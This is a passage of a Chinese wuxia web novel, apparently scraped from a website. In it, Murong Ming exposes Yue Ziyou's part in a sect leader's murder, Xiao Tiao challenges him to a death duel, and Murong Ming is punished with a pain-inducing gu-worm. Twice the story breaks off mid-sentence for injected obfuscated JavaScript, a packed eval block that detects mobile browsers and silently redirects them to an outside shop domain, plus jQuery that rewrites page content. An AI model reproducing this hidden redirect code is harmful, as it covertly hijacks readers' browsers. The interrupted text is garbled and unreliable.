越子游早就被慕容暝这连珠炮般的一番话打得懵头懵脑,已经停止了思考,毫无章法地胡乱攀咬起来:“你……!慕容暝,平时见你惜字如金,没想到真是好厉害的一张嘴啊,你别以为这是在你们问剑谷,就可以胡作非为、欺人太甚,真当我们北阙宗无人了?!” “越少侠,容我再重申一遍,就事论事,不要攀扯别的。” 慕容暝不想再和越子游多费口舌,冷冷抛给他这最后一句,转而向在场其余人道:“这是北阙宗门内之事,我身为问剑谷少主本不该多言,只是这件事实在疑窦丛生,萧迢作为我亲自请来的客卿,自然不能让他背上此等污名,因此替他分辨了几句。今日我言尽于此,还望徐宗主和北阙宗的各位贵客海涵。” 说罢,慕容暝气定神闲地退了回去,一副事不关己高高挂起的模样,好像此刻这乱成一锅粥的场面并非由她促成。 她的话点到即止,人人心中都有一杆秤,她已经将秤砣码好,不需要多余的动作,秤杆便会自然而然向着一边倾倒而去。 “听慕容少主的话……越少侠也是杀害萧琮宗主的疑犯?” “这事疑点颇多啊,要是越少侠心里没鬼,为什么要隐瞒自己也会左手刀法的事?” “萧琮宗主死了,他的弟子萧迢也被北阙宗除名,你们想想,好处都落到了谁的头上?怕不是一箭双雕咯……” 徐秉山未曾想到事态竟会发展成这般,如遭雷击,眼珠子慌乱无措地骨碌乱转,反倒一时没了主意。他的耳边充斥着台下各派众人交头接耳的嘈杂声,北阙宗的门内秘辛被如此摆在台面上指指点点,若是不能将此事彻底解决,只怕有大祸临头。 他为教中、为自己尽心筹谋了这么多年,眼看就要守得云开见月明了,绝不能……绝不能折在这里! “原来是这样……竟然是你,是你们……!” 萧迢听到此处,早已彻悟了师父遇害的来龙去脉,了然、盛怒、悔恨,种种情绪在心间汹涌澎湃。他看向慕容暝,心中有千言万语欲说,却发现任何言语都是如此浅薄无力,远远无法囊括他此刻心中肆虐席卷的万千之一。 最后,他转过身,朝慕容暝深深拜谢,将一切只化作简短二字。 “多谢。” 慕容暝一直都对萧琮宗主甚为敬仰,此刻萧琮遇害一事终于真相大白,她的心中亦是快意,眉头柔和舒展开来,如阳下暖雪融融。 慕容暝问他:“谢我什么?” “谢你让我沉冤昭雪,谢你让我师父的血仇有处可报,谢你给我机会手刃仇人。” 23.悲天无败2 萧迢周身的气息陡然变得极具压迫之感,从慕容暝认识他以来,他从来都是温和无争的,她此刻头一遭感受到自他身上散发出的毫无掩饰的强烈杀意,令人胆寒生畏,与他平时的模样大相径庭。 萧迢眼角泛起源于恨意的猩红,沉声道:“越子游,我要同你进行生死决,你敢还是不敢?” 生死决,是集英大会中最为危险的一种武擂决斗,不同于寻常武擂友好切磋点到即止,生死决是以性命作赌的决斗。 结下仇怨之人可以发起生死决,用以了却恩怨。只有双方都自愿应战才可进行生死决,但凡有一方不愿便无法进行。生死决中,决斗双方生死自负,一战过后,不论结果如何,往日仇怨便就此一笔勾销。 可仇怨既生,如何能轻易勾销? 以往的集英大会,也曾有过寥寥几次生死决,最好的结果也是一死一重伤,拼杀到同归于尽的也不是没有。正因如此,若非难以清算的深仇大恨,绝不会有人敢轻易提出进行生死决,更不会有人敢随意应战。 慕容暝没想到萧迢竟然如此决绝,连半点退路也不欲保留,心头骤然悬起,低声劝阻道:“不必如此,还会有其他的办法。” 萧迢却摇了摇头,回绝道:“慕容少主,你已经帮我足够多了,我不能再让你和问剑谷被卷进我们北阙宗的恩怨之中。而且……我一定要亲手为师父报仇,生死决就是最好的方式。” 慕容暝沉吟半晌,知道自己无法动摇萧迢的决心,问道:“你可有把握胜过越子游?” 萧迢道:“如果只是越子游,我有把握能胜。只是他和我师叔绝不会坐以待毙,一定还会有别的算计。” 另一旁,越子游听到萧迢向他发起生死决,脸色霎白,骇然道:“萧迢,你不要命了?!” 萧迢道:“师父对我恩重如山,我便是赌上性命也要替师父报仇。越子游,我在问你,你敢还是不敢?” 越子游虽然平日里狂妄跋扈惯了,但事关生死,他总算还有点自知之明,知道自己的实力不及萧迢,哪敢真的和萧迢玩命? 好在生死决的规矩是只要一方不同意应战就不能进行,越子游正要开口拒绝,却听徐秉山在他身侧小声命令道:“答应他,为师有办法能让你赢。” 越子游大惊失色,朝徐秉山惶然看去,急道:“师父,他也没证据证明我就是凶手,顶多就是我和他两个人都不清不白,没必要真同他搏命啊!” 徐秉山:“要想名正言顺除掉萧迢,生死决就是天赐良机!若不趁此机会除掉他,必定夜长梦多,后患无穷。” 越子游被逼得简直快要哭出来了:“可是师父,论武功我胜不了他,他一定会杀了我的……!” “我说了,我有办法能保你赢下生死决!”徐秉山看着自己徒弟满脸的惊惧交加,实在恨铁不成钢,“难道你就不想杀了萧迢吗,你就甘愿一直活在他的阴影之下,让他处处压你一头?” 越子游闻言,双手死死攥成拳头,面目逐渐纠结扭曲,流露出怨毒不甘之色。 越子游这辈子受过的所有挫败感,都来源于萧迢。 他出生在勋贵世家,嘴里衔着金汤匙,事事顺心如意,人生一片光明坦途。又因为习武天资极高被送入北阙宗,自入门以来,他也一直都是弟子中的翘楚。 他原本可以一直做那人上人。 可他偏偏遇上了萧迢。萧迢就好像是他天生的克星,总是事事都胜过他一头,北阙宗的弟子们也都更喜欢亲近萧迢而不是他,萧琮甚至早早地就选定萧迢作为宗主之位的继承人…… 他们明明那么相似,年纪、身形、天赋,甚至还都是左撇子,而他更是拥有萧迢所不具备的显赫出身,可为什么还是处处受萧迢的掣肘? 凭什么?这个不知道哪个破落户出身的小子,怎配比他站得更高?! 想到这,越子游的内心早已被积年累月的嫉恨侵吞殆尽,彻底陷入魔障。他像是下定了某种决心,眼中几乎要喷出火来,对萧迢道:“……我如何不敢?萧迢,我愿意同你进行生死决!” 此言一出,场面顿时涌起轩然大波,许多年都不曾有过的生死决,竟要再一次重现了。 徐秉山适时插话道:“慕容宗主,生死决非同小可,今日已经比试了许多场,想必大家都有些疲惫了,可否允许萧迢和子游二人休息一日,养精蓄锐,明日再进行生死决?” 慕容连衡略微沉吟,徐秉山的请求合情日合理,并无不妥,便应允道:“徐宗主所言甚是,那今日的比试便到此结束,诸位稍作休整,明日再行比试。” 众人悉数散去后,慕容晴上前挽过慕容暝没有受伤的那侧手臂,边走边道:“姐姐,我刚刚配合得怎样?” 慕容暝见她笑意盈盈,一副等着被夸奖的样子,微微笑道:“天衣无缝,自然是很好的。” 慕容晴如愿以偿听到了夸奖,笑得更开心了,随即她想到什么,又问:“姐姐,那个小哥……哦,应该叫萧少侠了,他同你很相熟么,你为何要费这样大的周折帮他?” 慕容暝道:“不算相熟,我与他至今也就数面之缘。是他先前曾帮了我,于我有恩,权当还他的人情。” “原来如此。”慕容晴了然点头,“既然他帮过姐姐,也不枉我刚刚在场上替他说话了。” 二人正走着,却见蓝令容的贴身侍女前来通传:“少主,夫人请您去一趟。” 慕容暝心中有数,她自作主张把萧迢带进问剑谷,还折腾了这一番大事,蓝令容定是要发作惩治的,应道:“好,我知道了。” 慕容晴问道:“母亲只说要见姐姐?我能一起去吗,我正想跟母亲说说话呢。” 侍女恭敬回道:“夫人只说让少主前去商谈要事,晴小姐可以等晚些来和夫人一起用膳,夫人一定会很高兴的。” 慕容晴心思剔透,隐约察觉到气氛不对,拉着慕容暝不肯撒手:“姐姐,你……” 慕容暝安抚地拍了拍她的手,道:“无妨的,我去去就回来了。” 说罢,慕容暝头也不回地跟着侍女前往蓝令容院中,留下慕容晴一人在原地担忧地望着她离去的背影。 慕容暝甫一走进蓝令容屋内,便听得一声冷喝:“跪下。” 慕容暝依言跪下,腰杆仍然挺得笔直,不卑不亢,不见半分屈从服软的意味。 蓝令容坐在桌旁,柳眉冷竖,眼中蕴着熊熊怒意,她质问道:“你可知你错在何处?” 慕容暝回道:“错在不该擅作主张,将萧迢邀为客卿带入问剑谷,将问剑谷牵扯进北阙宗的风波之中。” 蓝令容听她这般对答如流,气极反笑:“好,好的很,你心里明明都清楚,但还是要明知故犯了。大家都喊你少主,你还真把自己当主子了,全然不把我和你父亲放在眼里……你可还记得自己的身份和本分?!” 这最后的一句,旁人或许听不明白,可慕容暝却是清楚得很,蓝令容是在警告她不要僭越逾矩。 慕容暝垂下眼眸,如实回道:“记得,一刻都不曾忘记。” 蓝令容见慕容暝逆来顺受,既不反抗也不服软,便如一拳打在棉花上,不由得更加气急败坏,命令道:“来人,去让刑堂弟子取缠髓蛊来!” 身旁静候的侍女听到缠髓蛊,微微一怔,面露迟疑。但她到底听命于蓝令容,也不便多言,领命退了出去:“是,夫人。” 慕容暝却连眼皮子也没颤一下,依旧笔直跪于原处,静候即将到来的刑罚。 半盏茶后,侍女领回了掌刑弟子。掌刑弟子手中端着养有缠髓蛊的小盅,他的掌心早就生出冷汗,站在蓝令容和慕容暝旁边噤若寒蝉,大气也不敢出一丝。 ……怎么没人告诉他受罚的人是少主啊?! 蓝令容道:“你明日还要替问剑谷在武擂上出战,我不用杖责,免得伤你筋骨。这缠髓蛊会让你疼上三个时辰,三个时辰过后,蛊虫自行离体,一切如常。我要罚你,你服还是不服?” 掌刑弟子在一旁闭嘴听着,暗自腹诽,这缠髓蛊可是问剑谷刑堂的头号招牌刑具,虽不会留下实质性的创伤,但痛感却比一般的刑具要猛烈十倍百倍不止,进过刑堂的人,从来没有一个能挺过缠髓蛊这关的,再铁骨铮铮的人,用过缠髓蛊,最后都会涕泗横流,神志不清地跪地讨饶。 慕容暝道:“是女儿有错在先,母亲秉公处置,女儿认罚。” “好……”蓝令容颇为满意地点了点头,对掌刑弟子道,“给她种蛊。” 蓝令容一声令下,掌刑弟子不敢不从,只得硬着头皮小声道:“少主,得罪了。” 慕容暝默然抬起没有受伤的右手,将衣袖挽起,露出一截小臂。掌刑弟子将手中的小盅盖子打开,里面赫然盛着一条蜷曲扭动着的红黑相间的虫子,光是看着便叫人发怵。掌刑弟子取出随身携带的小木镊子,将蛊虫从小盅内夹取出来,轻放在了慕容暝的小臂之上。 那蛊虫感知到皮肉的温软,躁动活跃起来,在慕容暝手臂上打了几个挺,旋即咬破一处,顺着伤口拱进了肌骨深处,无影无踪。蛊虫消失的刹那,慕容暝只觉得一阵如同分筋错骨般的剧痛袭来,她知道这只是刚刚开始,咬紧着牙关,忍着硬是没叫出声音。 蓝令容最看不惯慕容暝这不声不响的模 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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慕容连衡上前和蓝令容理论起来:“暝儿不是鲁莽之人,她从来都是一心为问剑谷着想的,你不妨先问清楚暝儿这么做的缘由。” 蓝令容嗤笑道:“从小到大你就是这么一味地纵容袒护她,才让她今日敢如此无法无天。那你便让她说,我倒要看看她到底能扯些什么理由!” 慕容连衡搀扶着慕容暝起身到一旁坐下,慕容暝此刻全身上下每分每寸都剧痛不已,痛感从脊柱处一直蔓延到指尖末梢,似乎连头发丝都在痛着。她脸色惨白,冷汗早已浸透内里的衣衫,不敢靠坐在椅背上,只能强撑着坐直,让自己看起来尽量正常。 慕容暝强忍着不让自己倒抽凉气,艰难开口:“北阙宗在萧琮宗主的治理之下,如今势头正盛,虽然与我们问剑谷暂时还不能相提并论,但仍不可轻视。而这新继任的徐宗主显然不是个好相与的,论德行更是与萧琮宗主天壤之别,不堪为一派之主。” 慕容连衡见她话语流利,神志清明,总算放下些心,颔首认可道:“萧琮宗主人品贵重,德才兼备,因而在他的带领下,才能将当年已经式微的北阙宗发展成今日的欣欣向荣的势头。至于这位徐宗主……他与我们的往来并不密切,暝儿如何知晓他的为人?” 慕容暝道:“自徐秉山继任北阙宗宗主以来,我们设在北阙宗附近的联络点曾回报于我,北阙宗地界内屡有异动,而异动源头与剜心教有关……我早就有所怀疑,徐秉山和剜心教有勾结,甚至萧琮宗主遇害一案,也与他脱不了干系。” 听到剜心教之名,慕容连衡和蓝令容皆是一惊:“竟有此事?!” 又是一阵剧痛袭来,慕容暝难耐地闭上眼缓了缓,才又徐徐开口道:“我原是想在集英大会之后再同父亲母亲商议此事,没想到萧迢正好出现了。我在想,若能利用好萧迢这根导火索,兴许能引起北阙宗内部混乱,挫其锐气,让他们短时间内无法再生事端,还能借此机会查明剜心教之事。” “嗯……北阙宗是否真的和剜心教勾结,尚未有真凭实据,在查明真想之前,要想不打草惊蛇地限制他们的行动,引起北阙宗内乱的确是个不错的计策。”慕容连衡思忖着点了点头,“令容你瞧,我就说暝儿有自己的考量。” “巧舌如簧。”蓝令容斜睨慕容暝一眼,对她所言仍持有怀疑的态度,“即便你有再好的计策,也应当先知会我和你父亲,而不是这般先斩后奏,为所欲为。我今日以缠髓蛊罚你,你可有怨言?” 慕容暝道:“绝无怨言。” 蓝令容面色稍霁,总算放过了慕容暝:“很好,希望你能记住这次的教训,切莫再犯。” 24.悲天无败3 慕容暝步履蹒跚地踏出蓝令容院门,候在外头的慕容晴焦急跑上前,绕着慕容暝左看右看:“姐姐,我刚才听一个刑堂弟子说母亲责罚了你,他们拦着不让我进去,你怎么样啊?” 慕容暝忽然有些庆幸蓝令容是用缠髓蛊罚的她,不至于让慕容晴看到受刑过后血迹斑斑的场景。 她强忍着剧痛,面上尽力云淡风轻,问道:“小晴,是你把父亲找来给我当救兵的吧。” 慕容晴见自己的小伎俩被慕容暝识破,讷讷应道:“今日在拭剑台上我便瞧见母亲脸色不好,刚刚又派贴身女使单独传你过去,我就猜母亲是要责罚于你。我……我在母亲面前说不上话,只好去找父亲了。” 慕容晴并不知晓自己的身世。慕容连衡和蓝令容为了保护她,只称慕容晴是从外头捡回的孤女,为了确保万无一失,甚至将慕容晴本人都蒙在鼓里。 这些年来,慕容晴一直以养女的身份自居,就算慕容连衡和蓝令容对她百般纵容、近乎溺爱,她在夫妇二人面前也从来都谨小慎微,不敢有分毫超越养女身份的举动。 唯有在慕容暝面前,她才会是这副自在无拘束的模样。 “姐姐,母亲她到底如何罚你了?” “没怎么罚,不信你看,我身上一点伤都没有。” 慕容晴当然知道慕容暝在诓她。她刚刚见那刑堂弟子诚惶诚恐地从蓝令容院中出来,显然是对身为少主的慕容暝下了狠手才会有那样的反应,可她看慕容暝身上确实没添新伤……那就只能是用了不会留伤的隐秘手段了。 慕容晴问道:“姐姐,是缠髓蛊,对么?” 慕容暝虽然知道慕容晴头脑一向灵光,却没想到她一下就猜到了,顿时哑口无言。她默认了这个答案,解释道:“是我有错在先,母亲是依门规处置的我,并无不妥。” 慕容晴看着慕容暝面色灰败如抹了墙灰,额角一颗颗细密冷汗汇聚成串后蜿蜒淌下,虽然她的神色如常,慕容晴也瞧得出慕容暝在极力忍耐着痛楚。 慕容晴轻轻靠在慕容暝身侧,拉过慕容暝的胳膊搭在她的肩膀之上,另一手环过慕容暝腰间,好让慕容暝能全力倚靠着她,以此缓解些痛楚。 “姐姐,在我面前就别忍着了。” “没有,真不疼。” 慕容晴闻言杏目圆瞪,嗔怪地看向慕容暝,对她的嘴硬表示强烈谴责。 慕容暝被她看得心虚,不再嘴硬,妥协道:“……好吧,是有点疼,不过也就一点。” 慕容暝每一步都迈得踌躇艰难,她心中微叹,要是江尧此刻能抬着他的担架出现在这就好了。 姐妹二人一路相依着朝慕容暝的暝雪居走去,慕容晴能清晰地感知到,紧挨在她身侧的那具躯体正痛彻骨髓地痉挛着。慕容晴鼻尖泛酸,泪水在眼眶里打起了转:“母亲怎么对姐姐也下得了这么重的手,你可是她的亲女儿啊……” “小晴慎言,不能这样妄议母亲。”慕容暝严肃打断了她,“我身为少主,犯了门规也需严惩不贷,母亲此番罚我是要立威,为的是告诫其他弟子莫要触犯门规。” 慕容晴不以为然,她吸了吸鼻子,反驳道:“哪有姐姐你说得这么好,母亲从来就是对你太过严厉。” 慕容暝见她执拗,无奈笑笑,随即想起什么,对慕容晴道:“对了小晴,有件事需要你帮忙。” === 小半个时辰后,慕容晴叩响了萧迢住处的门。 萧迢打开房门,见慕容晴环着手臂站在门外,讶然道:“二小姐?” 慕容晴开门见山道:“萧少侠,我是来给姐姐传话的。姐姐说徐秉山师徒二人找借口将生死决拖延到明日,一定会在今夜有所动作,让你去徐秉山和越子游那旁看看,提防着些。” 萧迢点了点头:“的确,我也正有此意。” 慕容晴近距离端详起萧迢,萧迢被识破身份后已经卸去伪装,不再易容,露出了原本丰神俊逸的面容。而她看着面前这张俊容,联想到姐姐是因为眼前这个男人才受了责罚,心中不免带了些怒气。 方才慕容暝让她来给萧迢传话,她惊呼道:“姐姐,你自己都这副模样了,怎么还惦记着他的事啊!” 慕容暝却说:“帮人帮到底,送佛送到西……也不差这一下。” 慕容晴向来是藏不住情绪的,所有的不快都明晃晃写在脸上,轻易便被萧迢察觉到了。 萧迢对慕容晴的愠怒茫然不解,也不藏着掖着,直问道:“二小姐,你在生气,为什么……难道是因为慕容少主,可是她出了什么事?” 慕容晴见自己的心事被他一语道破,诧异得睁大了眼:“你怎么知道的,你还会读心术不成?” 萧迢从慕容晴的神色中领悟到许多,唯恐慕容暝出事,语气不自觉变得急切:“二小姐,少主她到底怎么了?” 慕容晴见萧迢的担忧不似作伪,是真的在关切慕容暝,心里的气一下子散去了七八分,她叹了口气,道:“因为你的事,母亲责怪姐姐,对她用刑了。” “……怎会如此!” 萧迢语气陡然变得凌厉,倒将慕容晴吓了一跳,她哪还顾得上和他置气,反而劝慰道:“萧少侠,你也不必这么着急,姐姐不是经不起风浪的人。我只是想让你知道,姐姐她为你担下了许多,你千万不要辜负她的一片苦心。” 萧迢闻言,默然半晌:“二小姐,我现在能否去见慕容少主一面?” 慕容晴听到了想听的话,一扫原本的阴霾,满意地笑了:“算你还有些良心,且跟我来吧。” 暝雪居内,慕容暝伏在床塌上,缠髓蛊已经不如起初那么剧痛难当,但余痛仍旧缠绵未消。她一边苦苦熬着这分秒如年的三个时辰,同时在心中推演着明日生死决的种种可能。 就在此时,她蓦地听见一丝几不可闻的动静,有人身手敏捷地翻进了她院中。来人轻功极好,如一只矫健灵巧的狸奴,在夜色中腾挪游走,最后轻轻落在她床榻旁半开着的窗户外边。 “谁在外面?”慕容暝冷声问道,伸手将藏于枕下用于防身的匕首握在掌心。 萧迢在慕容暝床旁的窗外站定,回道:“是我。” 此时已经入夜,月明星稀,若是被人瞧见他一个男人夜里只身进了慕容暝院中,慕容暝免不了会遭人闲话,因此他特意避开了正路,从四下无人的隐蔽角落翻进了院墙。 慕容暝听到熟悉的声音,警惕瞬消,松开了手中的匕首,问道:“萧迢,你怎么来了?” 慕容暝的窗户半开着,萧迢在屋外只能看到她床边被角,看不到她此刻的模样。他心中担忧,却仍谨守着礼节,没有再向屋内多看一眼。他道:“我听说你因为我的事受了责罚,我放心不下,来看看你。” 慕容暝心中了然,定是慕容晴没忍住将她受刑的事告诉了萧迢,无奈叹道:“……我是让你去看着徐秉山和越子游,不是让你来看我。” 萧迢不假思索道:“你比他们更重要。” 萧迢脱口而出了这一句,后知后觉,发觉这话听起来有些不太对劲,顿时窘迫起来:“呃,我不是……” 萧迢原本想说他不是那个意思,可他想了想,他确实就是那个意思。他在窗外支支吾吾半天,也没说出个所以然。 慕容暝在屋内,隔着窗户看不到萧迢的表情,他的身影借着月光依稀映在窗纸上,只见那道模糊的人影一阵手足无措,心中好笑,决定出言将萧迢从窘境里解救出来:“嗯,我知道你的意思。” 窗纸上的人影安静下来。片刻后,萧迢的声音传来:“对不起,是我连累了你。” 慕容暝听他语气,便知道他在自责愧疚,她不想萧迢因此困扰,直言道:“不必如此,我帮你不过是顺手为之,而我帮你一分,同时会利用你十分。你应该清楚,我请你来集英大会,是在利用你达成我自己的目的。” 这句话不可谓不无情,慕容暝将她所有的动机都归结于利用二字,哪怕其中亦含有她的真心。只因她对于萧迢的关切有些无所适从,她含有私心,不能心安理得地接受他的歉意,她宁愿用冷漠的话语将他推拒开来,也总好过良心隐生不 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他莫不是傻了?明知自己被人利用,非但一点不气恼,反倒还乐呵呵地认为这是件再好不过的事。 简直是举世无双的一朵奇葩。 萧迢见她不语,接着道:“少主,以你的立场,要利用我理所应当,或者说,能被你利用,说明我还有些价值。而你帮我的那一分,于我来说是天大的恩情,千金难抵,那我就一定要承你的情。” 慕容暝欲言又止:“你这人怎么……” 她这下真是丈二和尚摸不着头脑了,她严重怀疑,此刻她就算把细雪剑抵在萧迢脖子上,萧迢也会露出一脸纯良无害的笑容,对她说:“被你杀死我乐意至极。” 慕容暝拿他实在没辙,想了半天硬是想不出任何话回应他这一番真挚而炽烈的肺腑之语,最后只勉强挤出了三个字: “……随你吧。” 萧迢:“对了少主,我给你带了药。” 慕容暝看见窗上人影一阵动作,从怀中叮叮当当摸出了些什么。旋即,慕容暝看到一个又一个小瓷瓶,被依次在窗棂边排开,摆放齐整。 “这一瓶活血化瘀,这一瓶消肿止痛,这一瓶祛除瘢痕……” 慕容暝静静听着萧迢可汗大点兵似的细数着每一瓶药的功效,哭笑不得。 “这些是我从北阙宗带出来的,都是我师父师娘以前珍藏的好药。”萧迢如同献宝一般,语气也变得轻快,“都给你。” 慕容暝伸出手从窗边拿起一瓶,细腻的瓷瓶上还残留有被萧迢捂在怀里的余温:“给我这么多药,不知道的还以为我天天都要受伤呢。” 萧迢道:“虽说有备无患,但如果可以的话,我希望你永远都不要用到它们。” 慕容暝道:“这些都是你师父师娘的珍藏,你当初特地将它们从北阙宗带了出来,证明它们对你而言有很重要的意义,为何全都给了我?” “这些药很多都是我师娘研制的独门秘方,全天下仅此一份,是她毕生的心血。如果明天我没能从生死决里全身而退……”萧迢略微停顿,话中的含义昭然若揭,“我要将它们留给一个可堪托付的人,不至于白白浪费。” “你……” 慕容暝一时间不知该如何作答。她见惯了武林中的刀光血影,前一日还活生生的人,后一日就可能再也睁不开眼,变成一个又一个孤零零的坟堆。 生死有命,本也由不得谁,慕容暝自己也早就将生死置之度外。只是这一次,她不想就这么轻轻带过。 “留得青山在,不怕没柴烧,活着才是最重要的。”慕容暝斟酌良久,最后只说出这一句。 这是她爹叶执临走前留给她的最后一句话,她也一直奉为圭臬,贯彻至今。而今日,她忽然想将这句话也告诉给窗外的这个人,望他保重。 窗外的萧迢听到慕容暝的这句话,微微怔忪。虽然她语气依旧淡然,保持着平日里惯常的疏离和分寸,但他确确实实感受到了一种可以称之为关心的情绪。 萧迢笑着允诺:“好,我记下了,我一定会活着赢下这场生死决。” 25.悲天无败4 蓝令容所言不虚,慕容暝捱过了那三个时辰之后,缠髓蛊果真自行离体,此前所有的痛苦瞬间消散,精疲力竭的倦意接踵而至,她再也支持不住,沉沉睡了过去。 翌日,慕容暝精准到令人发指的生物钟让她准时在辰时醒来,她正欲出门前往拭剑台,却发现暝雪居大门外蹲守着两道鬼鬼祟祟的身影。 慕容暝看清那两人,不解道:“小晴,江尧师兄,你们怎么在这?” 慕容晴和江尧对她受刑之事放心不下,整夜惴惴不安,两个人不谋而合地起了个大早,守在暝雪居门口,说什么都要将慕容暝一路护送到拭剑台。 就这样,他俩一左一右夹着慕容暝,三个人硬是走出了一种左牵黄右擎苍的汹汹气势,引得一路上行人侧目。 慕容暝见他们二人将自己当成一尊不经摔的瓷娃娃般小心护着,颇为无奈地再次重申:“……我说了,缠髓蛊离体之后已经没事了,你们不必如此。” 慕容晴:“姐姐你有什么事从来都只会往自己的肚子里咽,疼了也不会说的,叫我们怎么能放心?” 江尧点头附和:“小晴说得一点不错,从你嘴里说出来的没事,可信度必须打对折。” 慕容晴又问:“姐姐,等会的武擂真的没关系吗,要不……要不换江尧师兄上?” 江尧一声感慨:“我倒是愿意呢,只可惜我年龄超过集英大会的要求了,已经是人老珠黄咯,没资格上武擂的。” 慕容晴:“师兄你又谦虚了,你十九岁那年参加集英大会夺魁的事我还历历在目呢,让你这位曾经的魁首再回锅重赛一次,依我看也无不可嘛!” 慕容暝见他们一唱一和,说得简直越来越离谱,斜睨了一记眼刀过去,总算让他们噤声片刻。 三人一路插科打诨,总算行至拭剑台,擂台旁早已熙熙攘攘挤满了人,只因今日不仅有武擂的最终轮比试,更有萧迢和越子游的生死决,可谓盛况空前,押注的桌前更是挤得水泄不通,无处下脚。 慕容暝从来不关心押注的事,但架不住慕容晴和江尧非要挤上去凑热闹,便也随他们上前瞧了一眼。 人群中,有人拿着银锭挤上前来:“诶,让一让啊,让一让……我要押慕容少主赢!” 一位热心群众拉住了他,道:“这位兄台且慢啊,你没听说慕容少主昨日受刑的事吗,她眼下只怕一身伤痛,你还敢押她?” 那人闻言,肉眼可见地踌躇起来,高举着银锭的手垂了下去:“竟有这事?我确实没听说……” 这倒不出慕容暝所料,押注的告示板上,她的名牌之下一片冷清,几乎无人问津。只因她昨日受刑的消息不胫而走,众人都以为她受刑后负伤在身不利于比试,自然不肯做这注定赔本的买卖。 慕容晴从人堆里退了出来,忿忿不平道:“这些人惯会见风使舵,如此小瞧姐姐,真是没眼光。” 说着,慕容晴摸索起自己的钱袋子,准备给慕容暝撑撑场面,扭头却见江尧一脸幸灾乐祸的模样,道:“师兄,你不跟我一起帮姐姐争面子就算了,怎么还这副表情!” 江尧乐不可支:“哈哈哈……没想到阿暝也有这样惨淡的时候。行吧,既然如此,我就勉为其难给阿暝押上一个铜板,以示我作为师兄的支持。” 江尧虽然嘴欠,说着只押一个铜板,却直接解下了腰间的钱袋,打算将整个钱袋放到慕容暝名下。慕容暝看在眼里,拦下了往外送钱的两位散财童子,道:“不必了。” 江尧还以为慕容暝脸皮薄,不好意思让他们破费,摆了摆手道:“没事的,阿暝,就当我们俩人傻钱多,有钱没处使就好。” 慕容晴瞪眼回呛道:“我是钱多,师兄你才是人傻。” 慕容暝听这对活宝围着她叽叽喳喳好不热闹,哑然失笑,道:“不必白费这些银子,我今日做不了你们的财神爷。” 慕容晴和江尧俱是一怔,齐齐扭头看向她,问道:“什么意思……?” 一种不祥的预感自慕容暝心底油然而生,她只道:“或许等不到我上场,就要变天了。” 慕容晴没太明白她这句云里雾里的话,余光瞥见不远处的一道身影,对慕容暝笑道:“姐姐,萧少侠在那边呢。” 慕容暝依言望去,见萧迢正端坐在不远处的回廊下,似是在沉思着什么。 晨光熹微,透过回廊檐蔓延在他的面庞之上,灼灼光华,英姿斐然。而他的手中,正拿着他阔别多日的刀,和它的主人一般神锋敛彩却有藏千钧之势,恍惚间,慕容暝仿佛看到了昔日那个在北阙宗意气风发的萧迢,这才是他原本该有的模样。 慕容暝独自走到萧迢身边默默坐下,萧迢从思绪中倏然抽离而出,见来人是慕容暝,关切道:“少主,你的伤如何了?” 慕容暝:“已经完全无碍了。” 萧迢听到她的答复,却疑虑未消,看向慕容暝的目光难掩忧心。虽然他们相处的时间并不长,但他早就明白慕容暝是不会在人前示弱的性子,她从不将苦痛宣之于口,总是习惯默默隐忍。 慕容暝看到他的眼神,便知道他仍旧不放心,笃定道:“真的,不是骗你。” “……那就好。” 慕容暝话锋一转,切入正题道:“可有在徐秉山那探查到什么异动?” 萧迢将昨夜见闻一五一十向慕容暝道出:“昨夜我潜入北阙宗的住处,见院中守卫格外森严,各处都有弟子把守。我无法靠得太近,只能在外处远观,曾听见师叔屋内传出些动静,小半个时辰后,越子游带着刀从师叔房间出来,遣散了守卫的弟子,随后他也返回了自己的房中,没再出来过。” 慕容暝觉得事有蹊跷:“我知道北阙宗弟子以佩刀为荣,但是越子游深夜回到住所依然刀不离身,还带刀出入你师叔的房间,是不是太过夸张了。” 萧迢颔首认同:“确实疑点颇多,不过当时夜色昏暗,我离得又远,没能再探查到更多细节。” “说到佩刀……”慕容 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17263576|194806||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 暝的视线落在萧迢手中的刀上,“这是把好刀,与你相称。它叫什么名字?” “它叫悲天,是我拜入北阙宗时师父赐予我的佩刀。”说到悲天,萧迢的神色柔和下来,他的手在刀鞘之上轻轻摩挲着,仿佛在谈论一个阔别多日的战友。他解释道:“之前我担心会暴露身份,在来到问剑谷前,我将悲天藏在了附近的一处隐蔽山洞。如今我已经不用再隐藏身份,便将悲天取了回来。” 慕容暝道:“悲天……手执悲天,是为悯人。你师父定是对你寄予了厚望,盼你以手中的刀济世度人。” 萧迢听到这句,眼睛蓦地亮起:“这正是悲天之名的由来,当初师父将悲天交给我时,也是这么告诉我的。” 恰在此时,北阙宗一行人浩浩荡荡地来到了拭剑台,慕容暝抬眼望去,视线正好和徐秉山越子游师徒二人相接,徐秉山面色泰然自若,朝慕容暝微微颔首客套示意。 而在徐秉山身侧,越子游对着慕容暝和萧迢露出了一个意味不明的笑,那笑容森寒悚然,看得人心里隐隐发毛。 不远处,慕容晴也看到了这一幕,朝着越子游的方向远远抛去个白眼,暗自斥道:“这个越子游不知又抽的什么风,憋着一肚子坏水,绝对没安好心。” 话刚说完,慕容晴陡然生出一种诡谲异样的感觉,有股无形的能量在她的五脏六腑中迸发激荡。就好像她躯体之中囚着一头沉眠的凶兽,而那凶兽顷刻苏醒,悍然挣脱束缚,誓要将囚禁它的这副躯壳冲得支离破碎,破笼而出。 慕容晴难敌这突如其来的痛苦之感,颓然跪坐在地,本能驱使她向着自己最信任的人呼救,口中含糊不清地唤道:“姐姐……” 